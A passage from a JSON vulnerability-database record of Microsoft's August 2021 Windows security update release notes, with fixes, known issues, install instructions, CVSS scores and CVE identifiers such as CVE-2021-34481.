a resolution and will provide an update in an upcoming release. \n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends. Extended support ends as follows:\n\n * For Windows 7 Service Pack 1 and Windows Server 2008 R2 Service Pack 1, extended support ends on January 14, 2020.\n * For Windows Embedded Standard 7, extended support ends on October 13, 2020.\nFor more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Note** For Windows Embedded Standard 7, Windows Management Instrumentation (WMI) must be enabled to get updates from Windows Update or Windows Server Update Services.**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The March 12, 2019 servicing stack update (SSU) ([KB4490628](<https://support.microsoft.com/help/4490628>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released September 10, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. For Windows Thin PC, you must have the August 11, 2020 SSU ([KB4570673](<https://support.microsoft.com/help/4570673>)) or a later SSU installed to make sure you continue to get the extended security updates starting with the October 13, 2020 updates.\n 4. To get this security update, you must reinstall the \"Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4538483](<https://support.microsoft.com/help/4538483>)) or the \"Update for the Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4575903](<https://support.microsoft.com/help/4575903>)) even if you previously installed the ESU key. The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter you install the items above, we strongly recommend that you install the latest SSU ([KB5004378](<https://support.microsoft.com/help/5004378>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update if you are an ESU customer. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005088>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 7 Service Pack 1, Windows Server 2008 R2 Service Pack 1, Windows Embedded Standard 7 Service Pack 1, Windows Embedded POSReady 7, Windows Thin PC**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005088](<https://download.microsoft.com/download/5/1/c/51cfa686-f644-4875-b76b-610d21809361/5005088.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005088 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005088", "href": "https://support.microsoft.com/en-us/help/5005088", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:53", "description": "None\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**Important: **Windows Server 2012 has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional releases (known as \"C\" or \"D\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2012 update history [home page](<https://support.microsoft.com/help/4009471>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5004294](<https://support.microsoft.com/help/5004294>) (released previous July 13, 2021) and addresses the following issues:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005389.](<https://support.microsoft.com/help/5005389>)\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API **[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before installing the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001401](<https://support.microsoft.com/help/5001401>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005099>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2012, Windows Embedded 8 Standard**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005099](<https://download.microsoft.com/download/5/4/b/54b50378-2639-49db-8cb2-4b4241268317/5005099.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005099 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005099", "href": "https://support.microsoft.com/en-us/help/5005099", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:49", "description": "None\n**12/8/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1507 update history home page.\n\n## Highlights\n\n * Updates the default installation privilege requirement so that you must be an administrator to install drivers when using [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>). \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. OpenEncryptedFileRaw will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in CVE-2021-36942.**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions. If you are using Windows Update, the latest SSU (KB5001399) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005040>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005040](<https://download.microsoft.com/download/5/2/5/5258a9c1-9a52-4572-820f-3cf7336f0291/5005040.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005040 (OS Build 10240.19022)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36938", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005040", "href": "https://support.microsoft.com/en-us/help/5005040", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:50", "description": "None\n**7/13/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>). \n\n**11/19/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1607 update history home page. \n\n## Highlights\n\n * Updates an issue that renders some Yu Gothic and Yu Mincho characters incorrectly in vertical writing mode. \n * Updates an issue with zoom that occurs when you use Microsoft Edge IE Mode on devices that use multiple high-DPI monitors.\n * Updates the default installation privilege requirement so that you must be an administrator to install drivers when using [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>). \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue that renders some Yu Gothic and Yu Mincho characters incorrectly in vertical writing mode.\n * Addresses an issue with zoom that occurs when using Microsoft Edge IE Mode on devices that use multiple high-DPI monitors.\n * Addresses an issue that causes Windows to stop working when it uses AppLocker to validate a file that has multiple signatures. The error is 0x3B.\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue with Administrative Template settings you configure using a Group Policy Object (GPO). When you change the value of the policy settings to NOT CONFIGURED, the system continues to apply the previous settings instead of removing them. This issue occurs after installing the June 2020 or later updates and is most noticeable with roaming user profiles.\n * Addresses an issue in which an extra dereference against a sign in session causes **lsass.exe** to stop working after the user signs out.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. OpenEncryptedFileRaw will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in CVE-2021-36942.**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nAfter installing updates released April 22, 2021 or later, an issue occurs that affects versions of Windows Server that are in use as a Key Management Services (KMS) host. Client devices running Windows 10 Enterprise LTSC 2019 and Windows 10 Enterprise LTSC 2016 might fail to activate. This issue only occurs when using a new Customer Support Volume License Key (CSVLK). **Note** This does not affect activation of any other version or edition of Windows. Client devices that are attempting to activate and are affected by this issue might receive the error, \"Error: 0xC004F074. The Software Licensing Service reported that the computer could not be activated. No Key Management Service (KMS) could be contacted. Please see the Application Event Log for additional information.\"Event Log entries related to activation are another way to tell that you might be affected by this issue. Open **Event Viewer **on the client device that failed activation and go to **Windows Logs **> **Application**. If you see only event ID 12288 without a corresponding event ID 12289, this means one of the following:\n\n * The KMS client could not reach the KMS host.\n * The KMS host did not respond.\n * The client did not receive the response.\nFor more information on these event IDs, see [Useful KMS client events - Event ID 12288 and Event ID 12289](<https://docs.microsoft.com/windows-server/get-started/activation-troubleshoot-kms-general#event-id-12288-and-event-id-12289>).| This issue is resolved in KB5010359. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU (KB5001402) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005043>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005043](<https://download.microsoft.com/download/c/8/4/c84ac030-6839-4436-9f81-8090e3f21e79/5005043.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005043 (OS Build 14393.4583)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36938", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005043", "href": "https://support.microsoft.com/en-us/help/5005043", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:53", "description": "None\n**Important: **Windows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\n * Addresses an issue in which Smart Card Authentication (PIV) fails on non-RFC compliant printers and scanners requiring smartcard authentication. For more information, see [KB5005391](<https://support.microsoft.com/help/5005391>)\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API **[OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>)**, often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. **OpenEncryptedFileRaw** will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in [CVE-2021-36942](<https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2021-36942>).**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001403](<https://support.microsoft.com/help/5001403>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005036](<https://support.microsoft.com/help/5005036>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005106>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Update \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005106](<https://download.microsoft.com/download/b/d/a/bda94068-ca0a-4edd-825a-7874cd775e75/5005106.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005106 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36937", "CVE-2021-36942"], "modified": "2021-08-10T07:00:00", "id": "KB5005106", "href": "https://support.microsoft.com/en-us/help/5005106", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:48", "description": "None\n**6/15/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**11/19/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1909 update history home page. **Note **Follow [@WindowsUpdate](<https://twitter.com/windowsupdate>) to find out when new content is published to the release information dashboard.\n\n## Highlights\n\n * Updates the default installation privilege requirement so that you must be an administrator to install drivers when using [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>). \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information. \nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. OpenEncryptedFileRaw will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in CVE-2021-36942.**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \n \n## How to get this update\n\n**Before installing this update**Prerequisite:You **must **install the July 13, 